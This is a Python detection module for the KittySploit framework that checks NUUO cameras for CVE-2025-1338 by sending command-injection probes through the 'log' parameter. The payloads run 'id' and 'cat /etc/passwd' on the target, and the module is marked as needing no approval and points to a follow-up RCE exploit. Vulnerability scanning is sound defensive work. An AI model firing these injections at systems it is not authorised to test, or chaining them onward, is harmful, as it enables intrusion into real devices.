NUUO Camera <=20250203 - OS Command Injection Detection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""NUUO Camera up to 20250203 contains a command injection caused by manipulation of the 'log' argument in /handl."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'NUUO Camera <=20250203 - OS Command Injection Detection',
        'description': "NUUO Camera up to 20250203 contains a command injection caused by manipulation of the 'log' argument in /handle_config.php, letting remote attackers execute arbitrary commands, exploit requires remote access.",
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2025', 'nuuo', 'camera', 'rce', 'cmdi', 'intrusive', 'vkev'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['exploits/linux/http/nuuo_cve_2025_1338_rce'],
            },
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2025-1338',
            'https://github.com/advisories/GHSA-vw58-vgp6-39qx',
            'https://dbugs.ptsecurity.com/vulnerability/CVE-2025-1338',
        ],
        'cve': 'CVE-2025-1338',
    }

    def run(self):
        probes = (
            ('/handle_config.php?log=;id;', (r'uid=\d+', r'gid=\d+')),
            ('/handle_config.php?log=;cat /etc/passwd;', (r'root:.*:0:0:',)),
        )
        for path, patterns in probes:
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ''
            if all(re.search(p, body) for p in patterns):
                self.set_info(
                    severity='critical',
                    reason='NUUO Camera <=20250203 - OS Command Injection detected',
                    path=path,
                )
                return True
        return False